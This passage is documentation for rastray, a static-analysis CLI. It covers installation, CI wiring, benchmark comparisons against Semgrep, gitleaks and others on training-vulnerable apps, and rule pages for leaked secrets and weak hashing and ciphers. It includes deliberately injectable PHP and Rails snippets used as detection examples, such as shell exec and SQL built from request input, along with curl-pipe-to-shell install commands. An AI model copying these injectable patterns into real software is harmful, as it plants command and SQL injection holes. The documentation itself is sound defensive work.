rastray rules

This site documents every rule code that rastray can emit. Each page describes:

  • what the bug class is,
  • a true-positive example (the shape we flag),
  • one or two false-positive examples (the shape we deliberately don't flag),
  • the canonical remediation,
  • references to OWASP / CWE / language-specific docs.

How rules are numbered

Every finding has a stable code of the form RSTR-<FAMILY>-<NNN>. The family prefix tells you which analyzer module fired the rule, and the numeric suffix is stable across releases — once a rule code ships, it never gets renumbered, even if the underlying detection logic is refined.

What rastray is, and isn't

rastray is a fast, deterministic, free static-analysis CLI written in Rust. It scans a project tree in parallel and runs a registry of analyzers against it. It is not a taint-analysis engine — every rule on this site requires the user-controlled value to appear directly in the sink call. For multi-step dataflow analysis, reach for CodeQL or Semgrep Pro.

Installation

# Prebuilt installer (recommended)
curl -fsSL https://github.com/balangyaoejuspher/rastray/releases/latest/download/install.sh | sh

# Or from crates.io (requires Rust toolchain)
cargo install rastray --locked

License

Apache-2.0 OR MIT (same as the rastray repo).

Quickstart

A two-minute path from "never heard of rastray" to "scanner is wired into my repo's pre-commit hook and CI". Pick one install path, drop the snippet for whichever gate you care about, done.

1. Install

Pick one:

# macOS, Linux — official installer (recommended)
curl -fsSL https://raw.githubusercontent.com/balangyaoejuspher/rastray/main/install/install.sh | sh

# Windows
iwr https://raw.githubusercontent.com/balangyaoejuspher/rastray/main/install/install.ps1 -useb | iex

# Any platform with Rust installed
cargo install rastray --locked

Verify:

rastray --version

2. Smoke-test on the current repo

rastray .

Default exit code rules: rastray returns 0 if there are no findings, 1 if there are. Use --fail-on high to gate only on High / Critical, --fail-on low to gate on anything at all, or --fail-on never to always exit 0 (advisory mode).

3. Wire it into pre-commit

rastray ships a top-level .pre-commit-hooks.yaml. Add to your .pre-commit-config.yaml:

repos:
  - repo: https://github.com/balangyaoejuspher/rastray
    rev: v0.11.0
    hooks:
      - id: rastray

Then:

pip install pre-commit
pre-commit install

The rastray hook gates on --fail-on high. Swap for id: rastray-strict if you want to gate on every finding.

The hooks use language: system, so rastray must already be on your PATH (install via step 1 above). The pre-commit framework deliberately does not cargo install rastray on every contributor's machine — that would turn a one-second check into a multi-minute Rust compile.

4. Wire it into CI

GitHub Actions:

name: rastray
on: [pull_request, push]
jobs:
  rastray:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: curl -fsSL https://raw.githubusercontent.com/balangyaoejuspher/rastray/main/install/install.sh | sh
      - run: rastray . --fail-on high

A copy-paste-ready workflow with caching, SARIF upload, and PR-comment output lives at examples/github-actions/rastray.yml.

5. Editor integration (LSP)

rastray ships its own Language Server. Configure your editor to launch rastray lsp over stdio for inline findings on save, with no project setup.

See the main README for the editor-specific snippets (VS Code, Neovim, Helix, Zed, Emacs).

What's next

  • How to read a rastray finding
  • Rule catalog — every built-in rule, its detection pattern, and the safe-form counter-example.
  • Benchmarks — rastray vs Semgrep / Bandit / gosec / gitleaks / eslint-security on Juice Shop, NodeGoat, DVWA, RailsGoat, WebGoat, and django-DefectDojo.

How to read these pages

Every rule page on this site follows the same template:

Summary

A one-paragraph description of the bug class and why it matters. If you only have ten seconds, this is the part to read.

Severity

One of Critical / High / Medium / Low / Info. Severities map to your shell's exit code via the --fail-on flag.

Languages

Which file extensions the rule scans. A Python-only rule will never look at a .go file.

What rastray flags

The exact pattern shape that triggers a finding. Includes:

  • the regex (or AST-query) the analyzer uses, in plain English;
  • a minimal true-positive example — the smallest piece of code that fires the rule.

What rastray deliberately does not flag

The shapes that look similar but are safe. Most rastray rules ship with at least one explicit "discriminator test" that proves the safe form is not flagged. We list those here so you can copy-paste the safe form straight into your code.

Why the finding message looks the way it does

Most rastray security rules use the captured-call-site message convention: the exact code fragment that matched is interpolated into the finding message. That way, if the rule fires 50 times in one repo, each finding has a distinguishable message instead of 50 copies of the same generic warning.

How to fix it

The canonical remediation — usually a copy-paste-able code snippet showing the hardened form.

How to suppress this finding

Three options, in order of preference:

  1. Fix the code. Almost always the right answer.
  2. Inline suppression: add // rastray-ignore: RSTR-XXX-NNN (or # rastray-ignore: ... in Python, etc.) on the line above the finding. Use rastray-ignore-line: to suppress only that line, or rastray-ignore-file: to suppress the whole file.
  3. Project-level suppression in .rastray.toml:
    [rules]
    "RSTR-XXX-NNN" = false
    
    or downgrade severity:
    [rules]
    "RSTR-XXX-NNN" = { severity = "low" }
    

References

CWE entries, OWASP cheat sheets, language-specific docs, and any blog posts that describe the bug class with the clearest examples.

Benchmarks: methodology

This chapter compares rastray to five other free / open-source static analyzers across six known-vulnerable applications. The goal is not to declare a winner — each tool has a different scope — but to show honestly what rastray catches, what it misses, and how fast it runs against named codebases the reader can reproduce.

Reproducibility

Every number on these pages comes from scripts/benchmarks/run.ps1 in this repository. Run it yourself:

# one-time: clone the targets
mkdir bench-workdir\targets
cd bench-workdir\targets
git clone --depth 1 https://github.com/juice-shop/juice-shop.git
git clone --depth 1 https://github.com/OWASP/NodeGoat.git nodegoat
git clone --depth 1 https://github.com/digininja/DVWA.git dvwa
git clone --depth 1 https://github.com/OWASP/railsgoat.git
git clone --depth 1 https://github.com/WebGoat/WebGoat.git webgoat
git clone --depth 1 https://github.com/DefectDojo/django-DefectDojo.git django-defectdojo

# tools (one-time): docker pull images, install bandit
docker pull returntocorp/semgrep:latest
docker pull securego/gosec:latest
docker pull zricethezav/gitleaks:latest
pip install bandit

# build rastray release binary
cargo build --release

# run the full sweep
powershell -File scripts/benchmarks/run.ps1

The harness writes per-tool JSON outputs to bench-workdir/results/<target>/ and a consolidated summary.json with finding counts and wall-clock timings.

Targets

targetlanguage(s)scope
OWASP Juice ShopTypeScript / JavaScriptModern Angular + Node app; ~80 deliberate bugs.
OWASP NodeGoatJavaScript (Express)Smaller; clean OWASP Top 10 mapping.
DVWAPHPThe classic PHP training app.
OWASP RailsGoatRuby (Rails)Rails-specific mass-assignment, SQLi, redirect.
WebGoatJava (Spring)Large Java codebase; broad rule surface.
django-DefectDojoPython (Django)Real-world application (not training-vuln) used to show how rastray behaves on a production codebase.

Tools

toollanguage coverageversion pinned for this run
rastraypolyglot (security + perf)0.8.0
Semgrep CEpolyglot (the p/owasp-top-ten registry)1.165.0
banditPython1.9.4
gosecGodev / 2026-02-28
gitleakssecret patterns (filesystem)v8.30.1
eslint-plugin-securityJS / TSeslint 10 + plugin-security 4

gosec is Go-only and therefore does not run against any of the chosen targets, so its row is omitted from the tables. The harness correctly flags it as N/A for non-Go targets.

What the numbers mean

  • findings — the raw count of issues reported by each tool, with its default ruleset (or p/owasp-top-ten for Semgrep). The counts are not directly comparable: tools use different severities, group identical issues differently, and have wildly different scopes (rastray flags 19 analyzer families, gitleaks is secrets-only, etc.).

  • wall-clock (ms) — measured from process launch to completion on the same Windows 11 host running Docker Desktop. Docker-wrapped tools (semgrep, gosec, gitleaks) include the container startup tax (~1.5–3 s per run). Treat the comparison as order-of-magnitude, not millisecond-precise.

  • 0 / blank — tool is applicable but found nothing, or tool is not applicable (e.g. bandit on a Ruby codebase).

For honest comparison, read the per-target page for each app — those discuss which rules each tool fires on, where rastray catches things others miss, and where rastray misses things others catch.

Benchmarks: summary

The full sweep, all six targets × all applicable tools. See Methodology for what the numbers do and don't mean.

Finding counts

targetrastraysemgrepgitleaksbanditeslint-security
Juice Shop802350N/A1 823†
NodeGoat15153N/A546 †
DVWA5455N/AN/A
RailsGoat11221N/AN/A
WebGoat172123N/AN/A
django-DefectDojo1 2219791 290218N/A

eslint-plugin-security's default ruleset is dominated by security/detect-object-injection (532 of the 546 NodeGoat findings; ~95% of the Juice Shop ones too). That rule is famously noisy and most teams disable it. The headline number overstates how many actionable issues the plugin produces.

Wall-clock (ms)

targetrastraysemgrepgitleaksbanditeslint-security
Juice Shop7 320140 45216 578N/A4 570
NodeGoat32611 2751 405N/A3 948
DVWA34327 8892 144N/AN/A
RailsGoat1 97027 7572 627N/AN/A
WebGoat1 350218 5467 940N/AN/A
django-DefectDojo48 266724 08689 24223 728N/A

Docker-wrapped tools (semgrep, gitleaks) include the container startup tax (~1.5–3 s per run). rastray and bandit run as native binaries.

Reading the comparison

A few honest observations from this data:

  1. rastray is 10–35× faster than Semgrep at the OWASP-Top-Ten ruleset, on every target. The gap widens with codebase size (django-DefectDojo: 48 s vs 12 min).

  2. rastray and Semgrep find different things. On DVWA, Semgrep reports 9× more (45 vs 5) because the p/owasp-top-ten registry contains PHP-specific data-flow templates rastray does not implement. On Juice Shop, rastray reports 3× more (80 vs 23) — its per-language regex sinks catch a lot of fetch(req.body.x) / eval(req.body) cases the Semgrep registry does not include.

  3. gitleaks usually finds more secrets than rastray in real codebases, because it ships a 100+ pattern catalogue. rastray currently ships 8 secret patterns (RSTR-SEC-001..008). For pure secret-scanning, run gitleaks. rastray's secrets module is intentionally focused on the highest-value patterns and exists so that one tool can give you a complete first-line audit without juggling four.

  4. eslint-plugin-security inflates with detect-object-injection. Most security teams disable that rule. Excluding it leaves ~14 plugin-security findings on NodeGoat — comparable to rastray's 15 and Semgrep's 15.

  5. django-DefectDojo is real-world code, not a training-vuln app. The high rastray count (1 221) is dominated by RSTR-PERF-201 (634 findings — string += in a loop) and RSTR-SEC-007 (475 findings — PEM private-key blocks, mostly genuine test fixtures that the project carries on purpose). This is what a fresh adoption looks like; the baseline workflow snapshots these once and surfaces only new findings on PRs.

Try the harness yourself

Every column in the tables above is produced by scripts/benchmarks/run.ps1. Numbers will vary by machine and tool version — re-run on your own hardware and submit a PR if you'd like to track them over time.

OWASP Juice Shop

github.com/juice-shop/juice-shop — modern Angular + Node training app with ~80 deliberate bugs.

Results

toolfindingswall-clock
rastray807.3 s
semgrep23140.5 s
gitleaks5016.6 s
eslint-security1 8234.6 s
banditN/A
gosecN/A

What rastray fires on

The top families on Juice Shop:

codecountwhat it catches
RSTR-PERF-10130await inside a loop (serialised async calls)
RSTR-INJ-00112SQL injection via template literal
RSTR-ORM-00412Raw SQL template literal in ORM call
RSTR-CRY-00511Math.random() for security purposes
RSTR-INJ-0034eval / new Function dynamic execution
RSTR-REDOS-0013Catastrophic backtracking heuristic
RSTR-IAC-0012FROM image:latest
RSTR-CRY-0012MD5 used for hashing

Where rastray catches more than Semgrep

  • The 30 RSTR-PERF-101 findings are pure throughput bugs the p/owasp-top-ten Semgrep registry does not aim for (Semgrep has perf packs, but they aren't in the OWASP set).
  • RSTR-CRY-005 (Math.random() for tokens) fires 11 times; Semgrep's OWASP pack does not include this generic check.
  • RSTR-ORM-004 (raw SQL template literals) fires 12 times for Sequelize / Knex / Prisma .raw(\SELECT ... ${x}`)` patterns.

Where Semgrep catches things rastray misses

Semgrep's deeper rules occasionally span call boundaries — for example, identifying a sink that takes a req-derived value after it has been assigned through a const (rastray deliberately does not flow analyze; see Introduction).

On the eslint-security count (1 823)

security/detect-object-injection produces ~95% of that total. Most security teams disable it because it flags every obj[variable] access regardless of whether variable is user-controlled. Excluding it brings eslint-security's actionable count to ~80 — comparable to what rastray reports.

Reproduce

powershell -File scripts/benchmarks/run.ps1 -Target juice-shop

OWASP NodeGoat

github.com/OWASP/NodeGoat — small Express training app with a clean mapping to OWASP Top 10.

Results

toolfindingswall-clock
rastray150.33 s
semgrep1511.3 s
gitleaks31.4 s
eslint-security5463.9 s
banditN/A
gosecN/A

What rastray fires on

codecountwhat it catches
RSTR-CRY-0057Math.random() for security
RSTR-INJ-0034eval / new Function
RSTR-NOSQLI-0022Mongo $where with request input
RSTR-REDOS-0011Catastrophic backtracking
RSTR-RDR-0011Express res.redirect(req.x)

Headline observation

rastray and Semgrep report the same number of findings (15) on NodeGoat, but rastray runs 34× faster (0.33 s vs 11.3 s, both on the same hardware). The rule mix differs slightly — rastray catches more Math.random() / eval cases, Semgrep catches a few more interprocedural cases that need a small amount of flow.

On the eslint-security count (546)

532 of the 546 are security/detect-object-injection. The other 14 are genuine — they cover roughly the same surface as rastray's 15 and Semgrep's 15. Most teams disable detect-object-injection for exactly this reason; once that's done, the three tools are comparable on this benchmark.

Reproduce

powershell -File scripts/benchmarks/run.ps1 -Target nodegoat

DVWA

github.com/digininja/DVWA — the classic PHP / "Damn Vulnerable Web App."

Results

toolfindingswall-clock
rastray50.34 s
semgrep4527.9 s
gitleaks52.1 s
banditN/A
gosecN/A
eslint-securityN/A

What rastray fires on

codecountwhat it catches
RSTR-INJ-0035PHP eval

Honest observation: DVWA is essentially-indirect

rastray ships PHP-aware rules for SQL injection, command exec, echo / print of request input, include / require LFI, and file API LFI:

None of them fire on DVWA. DVWA's pedagogical style assigns the superglobal to a local first, then uses the local — a single indirection that rastray deliberately does not chase (the same one-step taint scope every other rastray rule uses). For example, DVWA's SQLi-low source reads:

$id = $_REQUEST['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);

rastray flags neither line in isolation — there's no superglobal in the mysqli_query call, no concatenation in the assignment. The two-line idiom is below the rule's threshold by design.

The same five PHP rules fire correctly on the direct pattern common in real PHP code:

$rows = mysqli_query($db, "SELECT * FROM u WHERE id = " . $_GET['id']);
exec("ping " . $_POST['host']);
echo $_GET['name'];
include $_REQUEST['page'] . ".php";
$x = file_get_contents($_GET['url']);

Semgrep's p/owasp-top-ten registry includes PHP rules that span the assign-then-use boundary, which is why it reports 45 on DVWA. For codebases that match DVWA's idiom rather than rastray's direct-sink scope, Semgrep is the better fit; for codebases where the superglobal appears in the sink, rastray is faster.

Reproduce

powershell -File scripts/benchmarks/run.ps1 -Target dvwa

OWASP RailsGoat

github.com/OWASP/railsgoat — Rails training app focused on mass-assignment, SQLi, and open-redirect.

Results

toolfindingswall-clock
rastray112.0 s
semgrep2227.8 s
gitleaks12.6 s
banditN/A
gosecN/A
eslint-securityN/A

What rastray fires on

codecountwhat it catches
RSTR-INJ-0093params[...].constantize / .classify — mobile_controller, benefit_forms
RSTR-INJ-0032eval
RSTR-CRY-0052Math.random (vendored JS)
RSTR-INJ-0081User.where("id = '#{params[:user][:id]}'") — users_controller
RSTR-ORM-0051params.require(:user).permit! — users_controller
RSTR-REDOS-0011Catastrophic backtracking
RSTR-DES-0051Ruby Marshal.load

What changed in v0.11.0

Rastray's Rails coverage grew from 6 findings to 11 on RailsGoat between v0.10.0 and v0.11.0 — almost doubling the catch rate on this target. The new rules added in this release:

  • RSTR-INJ-008 — Rails .where with string interpolation of params. Fires on users_controller.rb:29: User.where("id = '#{params[:user][:id]}'").
  • RSTR-INJ-009params[...].constantize / .classify / .safe_constantize. Fires on the mobile-API pattern of "deserialise whatever class the client names."
  • RSTR-INJ-010render inline: / text: with #{params[...]} interpolation (SSTI).
  • RSTR-ORM-005params.require(:x).permit! open-permit. Fires on users_controller.rb:50.
  • RSTR-RDR-004redirect_to params[...] open-redirect. Does not fire on RailsGoat because the sample uses the indirect form path = params[:url]; redirect_to path — same one-step taint scope the rest of rastray uses.

The remaining gap vs Semgrep is mostly the same "indirect flow" pattern as on DVWA: RailsGoat consistently assigns params[...] to a local first, then uses the local. Semgrep's rule pack tracks that single assignment; rastray deliberately does not. For codebases that match rastray's direct-sink scope, the new rules close most of the real-world gap.

Reproduce

powershell -File scripts/benchmarks/run.ps1 -Target railsgoat

WebGoat

github.com/WebGoat/WebGoat — large Spring-based Java training app.

Results

toolfindingswall-clock
rastray171.4 s
semgrep21218.5 s
gitleaks237.9 s
banditN/A
gosecN/A
eslint-securityN/A

What rastray fires on

codecountwhat it catches
RSTR-PERF-1028new Date() inside a loop (in WebGoat's bundled JS)
RSTR-DES-0064Java ObjectInputStream.readObject
RSTR-SEC-0072PEM private-key block
RSTR-INJ-0031eval (JSP / inline scriptlets)
RSTR-XXE-0051XML factory without entity hardening
RSTR-CRY-0011MD5 used for hashing

Headline observation

rastray and Semgrep land in the same ballpark (17 vs 21), but rastray finishes in 1.4 s while Semgrep takes 3 m 38 s — a 156× speedup. WebGoat is the largest repository tested and the gap is biggest here; rastray's regex + targeted Tree-sitter strategy scales with file count, while Semgrep's dataflow engine pays a per-file cost that adds up on a 20 MB tree.

The four RSTR-DES-006 findings are exactly the ObjectInputStream RCE class WebGoat teaches in its Deserialization chapter — they map cleanly to the lesson, not false positives.

Reproduce

powershell -File scripts/benchmarks/run.ps1 -Target webgoat

django-DefectDojo

github.com/DefectDojo/django-DefectDojo — a real Python / Django application (DefectDojo itself), not a training-vuln app. Picked specifically to show how rastray behaves on production code.

Results

toolfindingswall-clock
rastray1 22148.3 s
semgrep97912 m 04 s
gitleaks1 29089.2 s
bandit21823.7 s
gosecN/A
eslint-securityN/A

What rastray fires on

codecountwhat it catches
RSTR-PERF-201634string += inside a loop (Python)
RSTR-SEC-007475PEM private-key blocks (overwhelmingly test fixtures)
RSTR-SEC-00631Google API key pattern (almost entirely test/docs)
RSTR-CRY-00129MD5 used for hashing
RSTR-SEC-00126Hardcoded credential pattern (mostly test fixtures)
RSTR-INJ-00111SQL injection via f-string
RSTR-IAC-0024Docker USER root
RSTR-CSRF-0023Django @csrf_exempt

What 1 221 findings on a real codebase means

Most of the count is noise typical for a fresh adoption:

  • 634 RSTR-PERF-201 are mostly in legacy report-generation code where the impact is too small to warrant a refactor. Suppress per-file or downgrade the rule's severity in .rastray.toml.
  • 475 RSTR-SEC-007 are PEM blocks in tests/fixtures/ — DefectDojo carries real test keys on purpose. Suppress per-folder.
  • 31 RSTR-SEC-006 are documentation examples (AIzaSyAAAA...) used in user-facing snippets. Suppress per-line.

The genuinely actionable rows are the smaller counts: RSTR-INJ-001 (11 SQL-injection candidates), RSTR-CRY-001 (29 MD5 sites worth checking), RSTR-CSRF-002 (3 @csrf_exempt decorators), and RSTR-IAC-002 (Docker running as root).

This is exactly what baseline mode is for:

rastray --write-baseline rastray.baseline.json --fail-on never
# commit the baseline, then on every PR:
rastray --baseline rastray.baseline.json --fail-on high

After that, the 1 221 known findings stop showing up; only the new ones a PR introduces fail CI.

Headline observation

rastray is 15× faster than Semgrep on this benchmark (48 s vs 12 min) while reporting comparable totals (1 221 vs 979). bandit runs in 24 s but is Python-only and finds 218 issues — a useful complement, not a replacement.

gitleaks reports 1 290 secret matches, vs rastray's 514 secret-family matches (SEC-001..008). rastray's secret coverage is intentionally narrow; for repos where secret scanning is the primary concern, run gitleaks alongside.

Reproduce

powershell -File scripts/benchmarks/run.ps1 -Target django-defectdojo

RSTR-SEC-001 — hard-coded credential pattern

Summary

A string literal in source code matches a known credential shape (AWS access key, GitHub PAT, Slack token, etc.) and also passes an entropy check (≥ 3.0 bits/char Shannon entropy by default), so it's unlikely to be placeholder text. Hard-coded credentials in source are one of the most common high-impact bugs — once the repo leaks the secret leaks.

Severity

Varies per token shape (typically High to Critical). AWS access keys and GitHub PATs default to Critical.

Languages

All text-classified files (any source code, any config file).

What rastray flags

A string literal matching a per-vendor regex pattern (e.g. AKIA[0-9A-Z]{16} for AWS, ghp_[A-Za-z0-9]{36} for GitHub fine-grained PATs) that also passes the entropy filter.

What rastray deliberately does not flag

  • Placeholder strings (AKIAIOSFODNN7EXAMPLE, ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx) — entropy too low.
  • Comments / docs / test fixtures that explicitly contain example tokens — same reason.

How to fix it

Rotate the leaked credential immediately at the issuing provider. Then move the credential to:

  • An environment variable (process.env.AWS_ACCESS_KEY_ID)
  • A secret manager (AWS Secrets Manager, Vault, GCP Secret Manager, Kubernetes secrets)
  • A .env file that is .gitignored

The leaked value is now part of git history. Use git-filter-repo or BFG Repo-Cleaner to scrub history if you must. Even then, assume the secret is compromised and rotate.

References

RSTR-SEC-002 — GitHub personal access token (ghp_…)

Summary

A string matching GitHub's classic personal access token format (ghp_ + 36 base62 chars) appears in the repository. Anyone with the token can act as the user on the GitHub API, including pushing to private repos, creating releases, and reading workflow secrets.

Severity

High.

Languages

Any scannable text file — source, config, manifests.

What rastray flags

GH_TOKEN = "ghp_EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLE1234"   # ← flagged

The matcher requires the literal ghp_ prefix plus a high-entropy suffix to avoid flagging documentation snippets that obviously use filler text (ghp_XXXX...).

What rastray deliberately does not flag

  • Tokens read from environment variables: os.environ['GH_TOKEN'].
  • Documentation that shows the format with placeholder text (ghp_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX) — low entropy.

How to fix it

  1. Revoke immediately at https://github.com/settings/tokens. The token is now public regardless of whether you push the fix; assume hostile use.

  2. Generate a fresh token with the smallest scope that does the job.

  3. Move the secret to an environment variable or a secret manager, and load it at runtime:

    import os
    GH_TOKEN = os.environ['GH_TOKEN']
    
  4. Rewrite history if the token ever appeared in a commit:

    git filter-repo --replace-text expressions.txt
    git push --force-with-lease
    

    Force-pushing the rewrite alone does not erase the secret — GitHub caches commit blobs for 90 days; the revocation in step 1 is what actually contains the damage.

References

RSTR-SEC-003 — GitHub fine-grained PAT (github_pat_…)

Summary

A GitHub fine-grained personal access token (github_pat_ + base62 material) appears in the repository. Fine-grained tokens are scope-restricted but still grant API access to whatever repositories and permissions the token was minted with — usually enough to read private code or push to selected repos.

Severity

High.

Languages

Any scannable text file.

What rastray flags

GH_PAT: github_pat_EXAMPLEAAAAAAAAAAA_EXAMPLEAAAAAAAAAAAAAAAAAAAAAA

What rastray deliberately does not flag

  • Documentation placeholders with low entropy.

How to fix it

Same playbook as classic PATs (RSTR-SEC-002):

  1. Revoke at https://github.com/settings/tokens.
  2. Mint a replacement with the narrowest permissions and shortest expiry the use case allows.
  3. Move to environment / secret manager.
  4. Rewrite the offending history.

The fine-grained format is the recommended replacement for classic PATs — keep using fine-grained ones, just keep them out of source.

References

RSTR-SEC-004 — Slack bot token (xoxb-…)

Summary

A Slack bot token (xoxb- + numeric IDs + secret material) is embedded in the repository. The token authenticates as the bot identity and can post to channels, read DMs the bot is in, and call any Slack Web API endpoint that the bot's OAuth scopes permit.

Severity

High.

Languages

Any scannable text file.

What rastray flags

SLACK_BOT_TOKEN = "xoxb-EXAMPLE-EXAMPLE-EXAMPLEEXAMPLEEXAMPLEEXAMPLE"

What rastray deliberately does not flag

  • Slack user tokens (xoxp-…) — separate rule eventually; current set covers bot tokens because those are the common-in-source case.
  • Documentation placeholders.

How to fix it

  1. Revoke at https://api.slack.com/apps → your app → OAuth & Permissions → "Revoke token".

  2. Generate a new install / token.

  3. Store in environment or secret manager:

    import os
    slack = WebClient(token=os.environ['SLACK_BOT_TOKEN'])
    
  4. Rewrite git history if the token was ever committed; Slack's bot-token leak detection often catches this within minutes and auto-revokes, but don't rely on that.

References

RSTR-SEC-005 — Stripe live secret key (sk_live_…)

Summary

A Stripe live mode secret key (sk_live_ + 24 base62 chars) is embedded in the repository. Anyone with this key can charge cards, issue refunds, read customer payment data, and perform every write-level action against the Stripe account.

Severity

Critical.

Languages

Any scannable text file.

What rastray flags

STRIPE_KEY = "sk_live_<REDACTED-24-CHAR-SECRET>"   # ← flagged

The matcher requires the sk_live_ prefix specifically — test-mode keys (sk_test_…) are not flagged because they cannot move real money.

What rastray deliberately does not flag

  • sk_test_… test-mode keys (different rule could fire on those if you ever add one — current set is live-only).
  • pk_live_… publishable keys (intended to be shipped to the browser).

How to fix it

  1. Roll the key immediately in the Stripe Dashboard (Developers → API keys → Roll). The old key stops working in 12 hours by default; for a confirmed leak, set the rollover to "Immediately."
  2. Audit the Events log for the past 24-72 hours and look for unfamiliar API requests (request.api_method, request IP).
  3. Move the new key out of source into environment / Vault / AWS Secrets Manager.
  4. Rewrite the git history that contains the leaked key.
  5. If the key has been in source for any length of time and the repo was ever public, treat the account as fully compromised and contact Stripe support.

References

RSTR-SEC-006 — Google API key (AIza…)

Summary

A Google Cloud API key (AIza + 35 base62 chars) appears in the repository. Depending on the key's restrictions, an attacker can call any API the key was authorised for — Maps, Translate, Cloud Vision, PaLM, etc. Most engineers set no restrictions, so the key is usable from anywhere.

Severity

High. Even rate-limited keys can drain a daily quota; unrestricted keys to billable APIs can incur thousands of dollars in usage in hours.

Languages

Any scannable text file.

What rastray flags

const MAPS_KEY = "AIzaEXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLEAA";   // ← flagged

What rastray deliberately does not flag

  • Documentation placeholders with low entropy.

How to fix it

  1. Restrict and rotate: in the Google Cloud Console, set application restrictions (HTTP referrers for browser keys, IP range for server keys) and rotate the key.
  2. Move the new key to environment / secret manager.
  3. Rewrite git history.
  4. Check Cloud Billing for the usage spike that suggests abuse.

For browser-side use cases (e.g. Maps embeds) the key is intended to be public — set HTTP-referrer restrictions and the leak is mostly inert. The rule still fires because the safe pattern is to inject the key at build time from an environment variable so referrer restrictions can be revisited in one place.

References

RSTR-SEC-007 — PEM private key in source

Summary

A -----BEGIN … PRIVATE KEY----- block (RSA, EC, Ed25519, or generic PKCS#8) appears in the repository. Private keys never belong in source: anyone who clones the repo can sign JWTs, decrypt traffic, authenticate as the bearer, etc.

Severity

Critical.

Languages

Any scannable text file.

What rastray flags

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA1J...                       ← flagged
-----END RSA PRIVATE KEY-----
-----BEGIN PRIVATE KEY-----                 ← flagged (PKCS#8)
-----BEGIN EC PRIVATE KEY-----              ← flagged
-----BEGIN OPENSSH PRIVATE KEY-----         ← flagged

What rastray deliberately does not flag

  • Public-key blocks (PUBLIC KEY, CERTIFICATE).
  • Test fixtures that are obviously short / non-keymaterial. Suppress with a comment if they're inside a tests/ directory and the fixture is intentionally throwaway.

How to fix it

  1. Assume the key is compromised. Issue a new key pair, update every system that trusts the old public key, and revoke the old one (CRL / OCSP / GitHub SSH key page / Vault rotation).
  2. Move the new private key into a secret manager (Vault, AWS Secrets Manager, GCP Secret Manager) — not an environment variable, because envs survive in process listings and crash dumps.
  3. Rewrite git history with git filter-repo --invert-paths --path-glob '*.pem'.
  4. Force-push and document the incident.

A leaked key in a public repo is functionally an active credential theft until the rotation completes — treat the timeline as P0.

References

RSTR-SEC-008 — npm access token (npm_…)

Summary

An npm access token (npm_ + 36 base62 chars) appears in the repository. Whoever has the token can publish new versions of any package the token owner publishes — a textbook supply-chain compromise vector.

Severity

High.

Languages

Any scannable text file (commonly .npmrc, CI config, shell scripts).

What rastray flags

//registry.npmjs.org/:_authToken=npm_EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLE12

What rastray deliberately does not flag

  • Documentation placeholders.
  • Tokens in environment-variable form: NPM_TOKEN=${NPM_TOKEN}.

How to fix it

  1. Revoke at https://www.npmjs.com/settings/&lt;user&gt;/tokens.

  2. Create a new token. For CI, use a granular access token scoped to the specific package(s) you publish.

  3. Move to CI secret store (GitHub Actions secrets.NPM_TOKEN) and reference from .npmrc:

    //registry.npmjs.org/:_authToken=${NPM_TOKEN}
    
  4. Rewrite git history if the token ever landed in a commit.

  5. Audit the npm package's published versions; if anything looks out-of-band, unpublish and warn downstream consumers.

References

RSTR-CRY-001 — MD5 used for hashing

Summary

MD5 is cryptographically broken: practical collision attacks have been published since 2004, and chosen-prefix collisions since 2007. Any use of MD5 for a security purpose (digital signatures, password hashing, token generation, integrity verification of untrusted data) is a real vulnerability.

Severity

High.

Languages

Python, JavaScript, TypeScript, Java, Kotlin, Go, Rust.

What rastray flags

The MD5 constructor in any supported language:

  • Python: hashlib.md5(...)
  • Node: crypto.createHash('md5') / crypto.createHash("md5")
  • Java: MessageDigest.getInstance("MD5")
  • Go: md5.New() (after importing crypto/md5)

What rastray deliberately does not flag

Non-security MD5 use cases:

  • Cache-busting hashes (file fingerprints in build output)
  • Bloom-filter / consistent-hashing data structures
  • Legacy protocols where the spec mandates MD5 (e.g. some RADIUS attribute hashing)

The rule fires anyway in these cases — suppress per-line with // rastray-ignore: RSTR-CRY-001 and a comment explaining the non-security context.

How to fix it

Replace MD5 with SHA-256 (or SHA-3-256). The constructor names are uniform:

LanguageMD5 (bad)SHA-256 (good)
Pythonhashlib.md5(data)hashlib.sha256(data)
Nodecrypto.createHash('md5')crypto.createHash('sha256')
JavaMessageDigest.getInstance("MD5")MessageDigest.getInstance("SHA-256")
Gomd5.New()sha256.New() (import crypto/sha256)

rastray --fix --yes auto-applies these substitutions.

For password hashing specifically, do not switch to SHA-256 either — use argon2id (or bcrypt if Argon2 is unavailable).

References

RSTR-CRY-002 — SHA-1 used for hashing

Summary

SHA-1 is broken: the SHAttered attack (2017) produced the first practical collision, and modern attacks can produce chosen-prefix collisions for under USD 50,000. SHA-1 is unsuitable for any new security use.

Severity

High.

Languages

Python, JavaScript, TypeScript, Java, Kotlin, Go, Rust.

What rastray flags

  • Python: hashlib.sha1(...)
  • Node: crypto.createHash('sha1') / crypto.createHash("sha1")
  • Java: MessageDigest.getInstance("SHA-1") and "SHA1"
  • Go: sha1.New() (after importing crypto/sha1)

How to fix it

Replace with SHA-256. rastray --fix --yes auto-applies the substitution across all four languages.

For HMAC specifically, HMAC-SHA1 is still considered safe for integrity because HMAC's security doesn't reduce to the underlying hash's collision resistance — but new code should use HMAC-SHA256 anyway because there's no reason to prefer the broken hash.

References

RSTR-CRY-003 — DES / 3DES cipher

Summary

DES (1977) and 3DES (1998) are both deprecated. DES has a 56-bit key — brute-forceable in hours on modern hardware — and 3DES is vulnerable to the Sweet32 birthday attack against its 64-bit block size. NIST disallowed 3DES for new applications in 2017 and removed all uses by the end of 2023.

Severity

High.

Languages

Java, Kotlin, Python, Go.

What rastray flags

  • Java/Kotlin: Cipher.getInstance("DES/...") or Cipher.getInstance("DESede/...") / "TripleDES/...".
  • Python: from Crypto.Cipher import DES, DES3 (PyCryptodome / PyCrypto).
  • Go: crypto/des import or des.NewCipher(...) / des.NewTripleDESCipher(...).

What rastray deliberately does not flag

  • AES-anything (the modern default).
  • ChaCha20-Poly1305.

How to fix it

Switch to AES-GCM (or ChaCha20-Poly1305 if AES-NI is unavailable):

// Java
